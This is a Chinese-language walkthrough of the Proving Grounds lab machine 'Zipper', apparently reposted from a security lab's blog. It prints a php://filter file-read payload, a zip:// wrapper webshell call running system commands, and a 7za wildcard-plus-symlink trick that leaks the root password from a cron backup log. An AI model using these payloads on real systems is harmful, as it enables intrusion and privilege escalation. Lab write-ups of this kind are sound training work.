PG_Zipper

admin 2025年4月8日13:34:13评论6 views字数 4186阅读13分57秒阅读模式

信息收集:

root@iZt4nbifrvtk7cy11744y4Z:~# nmap -p- -Pn -A -sS -T4 192.168.216.229Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-26 12:23 CSTNmap scan report for 192.168.216.229Host is up (0.0027s latency).Not shown: 65533 closed portsPORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: ZipperNo exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.80%E=4%D=2/26%OT=22%CT=1%CU=30076%PV=Y%DS=4%DC=T%G=Y%TM=67BE974OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPSOS:(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54EST11NW7%O5=M54EST1OS:1NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECNOS:(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AOS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(ROS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%FOS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)Network Distance: 4 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 8888/tcp)HOP RTT     ADDRESS1   2.35 ms 192.168.45.12   2.35 ms 192.168.45.2543   2.43 ms 192.168.251.14   2.60 ms 192.168.216.229OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds

开放了80的http服务,是一个zip打包网站

PG_Zipper

扫描目录发现upload.php文件

PG_Zipper

右键查看页面源代码发现疑似文件包含点

PG_Zipper

但是正常包含文件失败:index.php?file=upload.php,使用base成功读取home源代码

PG_Zipper

读取upload代码并进行审计

index.php?file=php://filter/convert.base64-encode/resource=upload
PG_Zipper

拿到upload功能源码

<?phpif ($_FILES && $_FILES['img']) {if (!empty($_FILES['img']['name'][0])) {$zip = new ZipArchive();$zip_name = getcwd() . "/uploads/upload_" . time() . ".zip";        // Create a zip targetif ($zip->open($zip_name, ZipArchive::CREATE) !== TRUE) {$error .= "Sorry ZIP creation is not working currently.<br/>";        }$imageCount = count($_FILES['img']['name']);for($i=0;$i<$imageCount;$i++) {if ($_FILES['img']['tmp_name'][$i] == '') {continue;            }$newname = date('YmdHis', time()) . mt_rand() . '.tmp';            // Moving files to zip.$zip->addFromString($_FILES['img']['name'][$i], file_get_contents($_FILES['img']['tmp_name'][$i]));            // moving files to the target folder.            move_uploaded_file($_FILES['img']['tmp_name'][$i], './uploads/' . $newname);        }$zip->close();        // Create HTML Link option to download zip$success = basename($zip_name);    } else {$error = '<strong>Error!! </strong> Please select a file.';    }}

没看出来什么漏洞,,,看了hints,参照这篇文章:https://rioasmara.com/2021/07/25/php-zip-wrapper-for-rce/

利用zip伪协议来直接解压压缩包(第一次实战遇到用zip://的,,

上传一句话木马shell.php,访问(这里注意不要在文件名后面添加.php,网页会自动加,就跟刚刚LFI直接用index.php?file=php://filter/convert.base64-encode/resource=upload.php读取不到一样:

index.php?file=zip://uploads/upload_1740549330.zip%23shell&shell=system('whoami');

成功getshell

PG_Zipper

反弹shell

PG_Zipper

拿到local

PG_Zipper

常规信息收集发现会定期运行脚本/opt/backup.sh

PG_Zipper

查看脚本

PG_Zipper

有一个命令值得注意,$password变量由cat /root/secret获取,会将日志信息输出到/opt/backups/backup.log文件中

7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log

查看log文件

PG_Zipper

那我们就需要通过这个报错日志读取/root/secret文件

软链接的创建:

  • 攻击者通过 ln -s /root/secret aaa.zip 创建了一个软链接 aaa.zip,指向 /root/secret 文件。软链接的作用是让系统认为 aaa.zip 就是 /root/secret 文件,这意味着任何能读取 aaa.zip 文件的进程或用户,也会读取到 /root/secret 文件的内容。

攻击过程:

  • 攻击者创建了一个名为 @aaa.zip 的文件,并将其放置在 uploads 目录中。这个文件本身是一个普通文件,名为 @aaa.zip,但其中的 aaa.zip 是一个软链接,指向 /root/secret 文件。
  • 该文件在文件系统中看起来是 aaa.zip,但是由于它是一个软链接,指向的是 /root/secret 文件。因此,只要可以读取 aaa.zip 文件的进程,就能间接地读取到 /root/secret 的内容。

为什么能读取 /root/secret

  • 在 cron 任务中执行的脚本 /opt/backup.sh 会扫描 uploads 目录中的文件,并且通过 7za 处理这些 .zip 文件。当 7za 处理到软链接文件时,它实际上读取的是软链接所指向的文件内容。尽管 www-data 用户没有权限直接读取 /root/secret 文件,但是因为软链接指向了这个文件,所以如果程序(在这种情况下是 7za)能够访问 aaa.zip,它就能读取 /root/secret 的内容。

读取 /root/secret 文件:

  • 当执行 7za 创建压缩包时,它会处理文件(包括软链接)。所以,攻击者创建的软链接(aaa.zip)就指向了高权限的 /root/secret 文件。压缩包的创建过程中,7za 读取了软链接,并间接地读取了 /root/secret 的内容,从而泄露了文件的敏感信息。

但是其实我们查看uploads文件夹就会发现

PG_Zipper

所以WildCardsGoingWild就是/root/secret的内容,如果要自己复现就是:

在uploads目录下:

touch @123.zipln -s /root/secret 123.zip

然后查看/opt/backups/backup.log

由于该文件内容并非文件列表,所以会报错并显示出/root/secret的内容

PG_Zipper

用密码切换为root,拿到proof

PG_Zipper

最后看了看别人的思路,这题还可以利用PwnKit(CVE-2021-4034)python版本提权

PG_Zipper

原文始发于微信公众号(EuSRC安全实验室):PG_Zipper

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月8日13:34:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PG_Zipperhttps://cn-sec.com/archives/3928999.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息